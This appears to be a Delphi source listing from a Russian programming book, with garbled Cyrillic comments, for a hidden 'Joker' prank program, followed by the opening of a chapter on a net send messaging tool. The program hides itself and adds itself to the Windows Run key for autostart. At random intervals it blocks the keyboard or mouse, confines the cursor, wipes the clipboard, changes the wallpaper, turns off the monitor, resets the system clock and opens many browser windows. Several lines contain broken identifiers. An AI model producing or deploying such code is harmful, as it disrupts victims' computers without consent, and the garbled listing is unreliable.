unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Registry, clipbrd, ShellApi;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
//Π΄Π»Ρ ΠΎΡΠΊΠ»ΡΡΠ΅Π½ΠΈΡ ΠΌΡΡΠΈ ΠΈ ΠΊΠ»Π°Π²ΠΈΠ°ΡΡΡΡ
Dummy: integer = 0;
OldKbHook: HHook = 0;
//Π΄Π»Ρ ΡΠ½ΡΡΠΈΡ ΠΊΠΎΠΏΠΈΠΈ ΡΠΊΡΠ°Π½Π°
ΠΠΠ 1: Graphics.TBitmap;
DC1: HDC;
Image1: TImage;
// Π΄Π»Ρ ΠΏΠΎΠΈΡΠΊΠ° ΡΠ»ΡΡΠ°ΠΉΠ½ΠΎΠ³ΠΎ ΡΠΈΡΡΠ½ΠΊΠ°
fn: TSearchRec;
Finds: integer;
i: integer;
endval: integer;
err_str: string;//Π²ΡΠ²ΠΎΠ΄ ΠΎΡΠΈΠ±ΠΊΠΈ
tm: TSystemTime; //ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ
reg: TRegistry; //Π΄Π»Ρ ΡΠ°Π±ΠΎΡΡ Ρ ΡΠ΅Π΅ΡΡΡΠΎΠΌ
JokeNum: shortint; //Π½ΠΎΠΌΠ΅Ρ ΡΡΡΠΊΠΈ, ΠΊΠΎΡΠΎΡΡΡ ΡΠ»Π΅Π΄ΡΠ΅Ρ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ
curs: TRect; //ΠΊΠΎΠΎΡΠ΄ΠΈΠ½Π°ΡΡ ΠΏΡΡΠΌΠΎΡΠ³ΠΎΠ»ΡΠ½ΠΈΠΊΠ°
implementation
procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);
begin
reg:= TRegistry.Create;
reg.RootKey:= hkey_current_user;
if reg.OpenKey('Control Panel\Desktop', True) then
reg.WriteString('Wallpaper', sWallpaperBMPPath); {ΠΊΠ»ΡΡ ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠΈΠΉ ΠΏΡΡΡ ΠΊ bmp-ΡΠ°ΠΉΠ»Ρ}
//ΡΠ°ΡΡΡΠ½ΡΡΡ ΡΠΈΡΡΠ½ΠΎΠΊ Π½Π° Π²Π΅ΡΡ ΡΠΊΡΠ°Π½
reg.WriteString('TileWallpaper', '1');
with reg do begin
WriteString('Wallpaper', sWallpaperBMPPath);
if bTile then begin
WriteString('TileWallpaper', '1');
end
else begin
WriteString('TileWallpaper', '0');
end;
end;
reg.Free;
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);
end;
function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
begin
if code < 0 then
Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)
else
Result:= 1;
end;
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
JokeNum: shortint;
curs: TRect;
begin
JokeNum:= Random(10) + 1;
case JokeNum of
1: begin //Π£ΠΌΠ΅Π½ΡΡΠΈΡΡ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΡ ΠΌΡΡΠΈ
curs := Rect(0, 0, Screen.Width div 2,Screen.Height);
ClipCursor(Scurs);
end;
2: begin //ΠΡΠΊΠ»ΡΡΠΈΡΡ ΠΌΡΡΡ
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);
OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);
end;
3: begin //ΠΎΡΠΊΠ»ΡΡΠΈΡΡ ΠΊΠ»Π°Π²ΠΈΠ°ΡΡΡΡ
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);
OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);
end;
4: begin //ΠΡΠΈΡΡΠΈΡΡ Π±ΡΡΠ΅Ρ ΠΎΠ±ΠΌΠ΅Π½Π°
ClipBoard.Open;//ΠΎΡΠΊΡΡΠ²Π°Π΅ΠΌ Π±ΡΡΠ΅Ρ ΠΎΠ±ΠΌΠ΅Π½Π°
ClipBoard.Clear;//ΠΎΡΠΈΡΠ°Π΅ΠΌ Π±ΡΡΠ΅Ρ ΠΎΠ±ΠΌΠ΅Π½Π°
//ΠΠΎΠΌΠ΅ΡΠ°Π΅ΠΌ Π² Π±ΡΡΠ΅Ρ ΠΎΠ±ΠΌΠ΅Π½Π° ΡΠ²ΠΎΠΉ ΡΠ΅ΠΊΡΡ
Clipboard.asText:= 'ΠΡΡΠ΅Ρ ΠΎΠ±ΠΌΠ΅Π½Π° Π²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎ Π½Π΅ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ!';
ClipBoard.Close; //Π·Π°ΠΊΡΡΠ²Π°Π΅ΠΌ Π±ΡΡΠ΅Ρ ΠΎΠ±ΠΌΠ΅Π½Π°
end;
5: begin // ΡΠ΄Π΅Π»Π°ΡΡ ΠΊΠΎΠΏΠΈΡ ΡΠΊΡΠ°Π½Π° ΠΈ Π½Π°Π·Π½Π°ΡΠΈΡΡ Π΅Ρ ΡΠΎΠ½ΠΎΠΌ
ΠΠΠ 1:= Graphics.TBitmap.Create;
//Π·Π°Π΄Π°Π΅ΠΌ ΡΠ°Π·ΠΌΠ΅ΡΡ ΡΠΈΡΡΠ½ΠΊΠ° ΡΠ°ΠΊΠΈΠ΅ ΠΆΠ΅,ΠΊΠ°ΠΊ ΡΠ°Π·ΠΌΠ΅ΡΡ ΡΠΊΡΠ°Π½Π°
BMP1.Height:= Screen.Height;
BMP1.Width:= Screen.Width;
DC1:=GetDC(0);
//ΠΠ΅Π»Π°Π΅ΠΌ ΠΊΠΎΠΏΠΈΡ ΡΠΊΡΠ°Π½Π°
BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);
Form1.Visible:= True;//Π²ΠΎΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ ΠΎΠΊΠ½ΠΎ Π½Π°ΡΠ΅ΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ
Image1:= TImage.Create(nil);
BMP1.IgnorePalette:= True;
Image1.Picture.Assign(BMP1);
BMP1.SaveToFile('Ρ:\1.bmp'); //ΡΠΎΡ ΡΠ°Π½ΡΠ΅ΠΌ ΡΠ½ΠΈΠΌΠΎΠΊ Π² ΡΠ°ΠΉΠ» 1.bmp
SetWallpaper('Ρ:\1.bmp', False); //Π½Π°Π·Π½Π°ΡΠ°Π΅ΠΌ ΡΠ½ΠΈΠΌΠΎΠΊ, ΠΊΠ°ΠΊ ΡΠΎΠ½
Repaint; //ΠΎΠ±Π½ΠΎΠ²Π»ΡΠ΅ΠΌ
end;
6: begin // ΠΠ°ΠΉΡΠΈ ΡΠ»ΡΡΠ°ΠΉΠ½ΡΠΉ ΡΠΈΡΡΠ½ΠΎΠΊ ΠΈ ΡΠ΄Π΅Π»Π°ΡΡ Π΅Π³ΠΎ ΡΠΎΠ½ΠΎΠ²ΡΠΌ
endval:= Random(10) + 5; //Π΄Π»Ρ ΡΠ»ΡΡΠ°ΠΉΠ½ΠΎΡΡΠΈ Π²ΡΠ±ΠΎΡΠ° ΡΠΈΡΡΠ½ΠΊΠ°
//ΠΈΡΠ΅ΠΌ Π²ΡΠ΅ ΡΠ°ΠΉΠ»Ρ Ρ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ *.bmp Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ Windows
Finds:= FindFirst('Π‘:\Windows\*.bmp', faAnyFile, fn);
Finds:= Random(2); //ΡΠ»ΡΡΠ°ΠΉΠ½ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ, 0 ΠΈΠ»ΠΈ 1
//Π΅ΡΠ»ΠΈ Π²ΡΠΏΠ°Π»Π° 1, ΡΠΎ ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ ΠΏΠ΅ΡΠ²ΡΠΉ ΠΏΠΎΠΏΠ°Π²ΡΠΈΠΉΡΡ ΡΠΈΡΡΠ½ΠΎΠΊ
if Finds = 1 then SetWallpaper(fn.Name, False);
if Finds = 0 then begin //ΠΈΠ½Π°ΡΠ΅β¦
for i:=1 to endval do begin
Finds:= FindNext(fn); // β¦ΠΈΡΠ΅ΠΌ Π΄ΡΡΠ³ΠΈΠ΅ ΡΠΈΡΡΠ½ΠΊΠΈ
//Π²ΡΠ±ΠΈΡΠ°Π΅ΠΌ Π»ΡΠ±ΠΎΠΉ Π΄ΡΡΠ³ΠΎΠΉ ΡΠΈΡΡΠ½ΠΎΠΊ ΠΈ Π΄Π΅Π»Π°Π΅ΠΌ Π΅Π³ΠΎ ΡΠΎΠ½ΠΎΠ²ΡΠΌ
if i = endval β 3 then SetWallpaper(fn.Name, False);
end;
end;
FindClose(fn); //Π·Π°Π²Π΅ΡΡΠ°Π΅ΠΌ ΠΏΠΎΠΈΡΠΊ
end;
7: begin //ΠΡΠΊΠ»ΡΡΠΈΡΡ ΠΌΠΎΠ½ΠΈΡΠΎΡ
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);
end;
8: begin //Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ ΠΎΠ± "ΠΎΡΠΈΠ±ΠΊΠ΅"
for i:=1 to 200 do begin
case i of
//ΠΏΠΎΡΠ»Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ 25-Π³ΠΎ ΡΠΈΡΠ»Π° β ΠΏΠ΅ΡΠ΅Π½ΠΎΡ Π½Π° Π½ΠΎΠ²ΡΡ ΡΡΡΠΎΠΊΡ
25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;
end;
//ΡΠ΅ΠΊΡΡ "ΠΎΡΠΈΠ±ΠΊΠΈ"
err_str:= err_str + IntToStr(Random(99999));
end;
MessageDlg(errstr, mtError, [mbOk], 0); //Π²ΡΠ²ΠΎΠ΄ΠΈΠΌ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅
end;
9: begin //ΠΠ°ΠΏΡΡΠΊ Internet Explorer
for i:=1 to Random(10)+ 5 do //ΡΠ»ΡΡΠ°ΠΉΠ½ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ ΠΎΡ 5 Π΄ΠΎ 15.
ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +
'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);
end;
10: begin //ΠΠ΅ΡΠ΅Π²Π΅ΡΡΠΈ Π²ΡΠ΅ΠΌΡ
GetLocalTime(tm); //ΡΠ·Π½Π°Π΅ΠΌ ΡΠ΅ΠΊΡΡΡΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΡ
tm.wYear:= 2000; //ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ Π³ΠΎΠ΄
tm.wMonth:= 01; //ΠΌΠ΅ΡΡΡ
tm.wDay:= 01; //Π΄Π΅Π½Ρ
tm.wHour:= 0; //ΡΠ°ΡΡ
tm.wMinute:= 0; //ΠΌΠΈΠ½ΡΡΡ
tm.wSecond := 1; //ΡΠ΅ΠΊΡΠ½Π΄Ρ
tm.wMilliseconds := 0; //ΠΌΡ
SetLocalTime(tm); //ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ Π½ΠΎΠ²ΡΡ Π΄Π°ΡΡ ΠΈ Π²ΡΠ΅ΠΌΡ
end;
end;
end;
procedure TForm1.FormPaint(Sender: TObject);
begin
Form1.Hide; //ΠΏΡΡΡΠ΅ΠΌ ΡΠΎΡΠΌΡ
end;
procedure TForm1.FormCreate(Sender: TObject);
var
reg:TRegistry;//ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ Π΄Π»Ρ ΡΠ°Π±ΠΎΡΡ Ρ ΡΠ΅Π΅ΡΡΡΠΎΠΌ
path: string;//ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ ΠΏΡΡΡ ΠΊ Π½Π°ΡΠ΅ΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ΅
begin
Randomize; //Π³Π΅Π½Π΅ΡΠ°ΡΠΎΡ ΡΠ»ΡΡΠ°ΠΉΠ½ΡΡ ΡΠΈΡΠ΅Π»
//ΡΠ·Π½Π°Π΅ΠΌ ΠΏΡΡΡ ΠΊ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ΅ ΠΈ Π΅Π΅ ΠΈΠΌΡ
path:= Application.EXEname;
reg:= TRegistry.Create;//ΠΎΡΠΊΡΡΠ²Π°Π΅ΠΌ ΡΠ΅Π΅ΡΡΡ
//Π²Π΅ΡΠΊΠ° ΡΠ΅ΠΊΡΡΠ΅Π³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ
reg.RootKey:= HKEY_CURRENT_USER;
//ΠΎΡΠΊΡΡΠ²Π°Π΅ΠΌ ΡΠ°Π·Π΄Π΅Π» Π°Π²ΡΠΎΠ·Π°Π³ΡΡΠ·ΠΊΠΈ
if reg.OpenKey('\Software\Microsoft\Windows\' +
'CurrentVersion\Run', True)
then begin
//Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅ΠΌ ΡΡΡΠ»ΠΊΡ Π½Π° Π½Π°ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π² Π°Π²ΡΠΎΠ·Π°Π³ΡΡΠ·ΠΊΡ
reg.WriteString('Joker', path);
reg.CloseKey;//Π·Π°ΠΊΡΡΠ²Π°Π΅ΠΌ ΡΠ΅Π΅ΡΡΡ
reg.Free;//ΠΎΡΠ²ΠΎΠ±ΠΎΠΆΠ΄Π°Π΅ΠΌ ΠΏΠ°ΠΌΡΡΡ
end;
end;
end.
β ΠΡΠ΅ ΡΠ°ΠΉΠ»Ρ ΠΏΡΠΎΠ΅ΠΊΡΠ° ΠΈ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡΠΉ ΡΠ°ΠΉΠ» ΡΠ°ΡΡΠΌΠΎΡΡΠ΅Π½Π½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π½Π°Ρ ΠΎΠ΄ΡΡΡΡ Π½Π° ΠΏΡΠΈΠ»Π°Π³Π°Π΅ΠΌΠΎΠΌ ΠΊ ΠΊΠ½ΠΈΠ³Π΅ ΠΊΠΎΠΌΠΏΠ°ΠΊΡ-Π΄ΠΈΡΠΊΠ΅ Π² ΠΏΠ°ΠΏΠΊΠ΅ Chapter_14.
ΠΠ»Π°Π²Π° 15
ΠΡΠΏΡΠ°Π²ΠΊΠ° ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠΉ Π² Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎΠΉ ΡΠ΅ΡΠΈ
ΠΠΎΡΡΠ°Π½ΠΎΠ²ΠΊΠ° Π·Π°Π΄Π°ΡΠΈ
Π Π°Π·ΡΠ°Π±ΠΎΡΠ°ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, ΠΊΠΎΡΠΎΡΠ°Ρ Π±ΡΠ΄Π΅Ρ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΡΡ ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡ Π΄Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΠΎΠΉ Π΄Π»Ρ Win2000/XP ΠΊΠΎΠΌΠ°Π½Π΄Ρ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΠΈ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠΉ net send. ΠΠ°ΡΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΡΠΊΠ°Π·Π°ΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π°Π΄ΡΠ΅Ρ ΠΏΠΎΠ»ΡΡΠ°ΡΠ΅Π»Ρ, ΡΠ΅ΠΊΡΡ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ ΠΈ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΎΡΠΏΡΠ°Π²Π»ΡΠ΅ΠΌΡΡ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠΉ. Π’Π°ΠΊΠΆΠ΅ ΠΏΡΠ΅Π΄ΡΡΠΌΠΎΡΡΠ΅ΡΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ Π±Π»ΠΎΠΊΠΈΡΠΎΠ²ΠΊΠΈ Π½Π° ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠΉ ΠΎΡ Π΄ΡΡΠ³ΠΈΡ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠΎΠ².
Π Π°Π·ΡΠ°Π±ΠΎΡΠΊΠ° ΡΠΎΡΠΌΡ
Π‘ΠΎΠ·Π΄Π°ΠΉΡΠ΅ Π½ΠΎΠ²ΡΠΉ ΠΏΡΠΎΠ΅ΠΊΡ Delphi. ΠΠ·ΠΌΠ΅Π½ΠΈΡΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΡΠΎΡΠΌΡ (ΡΠ²ΠΎΠΉΡΡΠ²ΠΎ Caption) Π½Π° Net Sender. Π Π°Π·ΠΌΠ΅ΡΡΠΈΡΠ΅ Π²Π΄ΠΎΠ»Ρ Π»Π΅Π²ΠΎΠ³ΠΎ ΠΊΡΠ°Ρ ΡΠΎΡΠΌΡ ΠΎΠ΄ΠΈΠ½ Π½Π°Π΄ Π΄ΡΡΠ³ΠΈΠΌ ΡΡΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ° Label ΠΊΠ°ΡΠ΅Π³ΠΎΡΠΈΠΈ Standard ΠΈ ΠΏΡΠΈΡΠ²ΠΎΠΉΡΠ΅ ΠΈΡ ΡΠ²ΠΎΠΉΡΡΠ²Ρ Caption Π·Π½Π°ΡΠ΅Π½ΠΈΡ IP-Π°Π΄ΡΠ΅Ρ:, Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅: Π ΠΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ:.
Π ΡΠ΄ΠΎΠΌ Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· ΠΌΠ΅ΡΠΎΠΊ ΡΠ°Π·ΠΌΠ΅ΡΡΠΈΡΠ΅ ΠΏΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ Edit ΠΊΠ°ΡΠ΅Π³ΠΎΡΠΈΠΈ Standard. Π‘Π°ΠΌΡΠΉ Π²Π΅ΡΡ Π½ΠΈΠΉ Π½Π°Π·ΠΎΠ²ΠΈΡΠ΅ ip (ΡΠ²ΠΎΠΉΡΡΠ²ΠΎ Name), Π° ΡΠ²ΠΎΠΉΡΡΠ²Ρ Text ΠΏΡΠΈΡΠ²ΠΎΠΉΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ 192.168.0.1.; ΡΡΠ΅Π΄Π½Π΅Π΅ ΠΏΠΎΠ»Π΅ Π½Π°Π·ΠΎΠ²ΠΈΡΠ΅ txt, Π° ΡΠ²ΠΎΠΉΡΡΠ²Ρ Text ΠΏΡΠΈΡΠ²ΠΎΠΉΡΠ΅ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΡΠ΅ΠΊΡΡ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ; ΡΠ°ΠΌΠΎΠ΅ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ»Π΅ Π½Π°Π·ΠΎΠ²ΠΈΡΠ΅ how, Π° ΡΠ²ΠΎΠΉΡΡΠ²Ρ Text ΠΏΡΠΈΡΠ²ΠΎΠΉΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ 1.
ΠΠΎΠ΄ ΠΏΠ΅ΡΠ΅ΡΠΈΡΠ»Π΅Π½Π½ΡΠΌΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ°ΠΌΠΈ ΡΠ°Π·ΠΌΠ΅ΡΡΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ Checkbox ΠΊΠ°ΡΠ΅Π³ΠΎΡΠΈΠΈ Standard. ΠΡΠΈΡΠ²ΠΎΠΉΡΠ΅ Π΅ΠΌΡ ΠΈΠΌΡ secure, ΡΠ²ΠΎΠΉΡΡΠ²Ρ Caption ΠΏΡΠΈΡΠ²ΠΎΠΉΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΠΡΠΊΠ»ΡΡΠΈΡΡ ΠΏΡΠΈΠ΅ΠΌ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠΉ, Π° ΡΠ²ΠΎΠΉΡΡΠ²Ρ Checked β Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ True.
Π ΡΠ°ΠΌΠΎΠΌ Π½ΠΈΠ·Ρ ΡΠΎΡΠΌΡ ΡΠ°Π·ΠΌΠ΅ΡΡΠΈΡΠ΅ ΠΊΠ½ΠΎΠΏΠΊΡ (ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ Button ΠΊΠ°ΡΠ΅Π³ΠΎΡΠΈΠΈ Standard), ΠΏΡΠΈΡΠ²ΠΎΠΈΠ² Π΅Π΅ ΡΠ²ΠΎΠΉΡΡΠ²Ρ Caption Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ Send. Π’Π°ΠΊΠΆΠ΅ Π½Π°ΠΌ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡΡΡ ΡΠ°ΠΉΠΌΠ΅Ρ (ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ Timer ΠΊΠ°ΡΠ΅Π³ΠΎΡΠΈΠΈ System), Π΄Π»Ρ ΠΊΠΎΡΠΎΡΠΎΠ³ΠΎ ΡΠ²ΠΎΠΉΡΡΠ²Ρ Interval ΡΠ»Π΅Π΄ΡΠ΅Ρ ΠΏΡΠΈΡΠ²ΠΎΠΈΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ 10.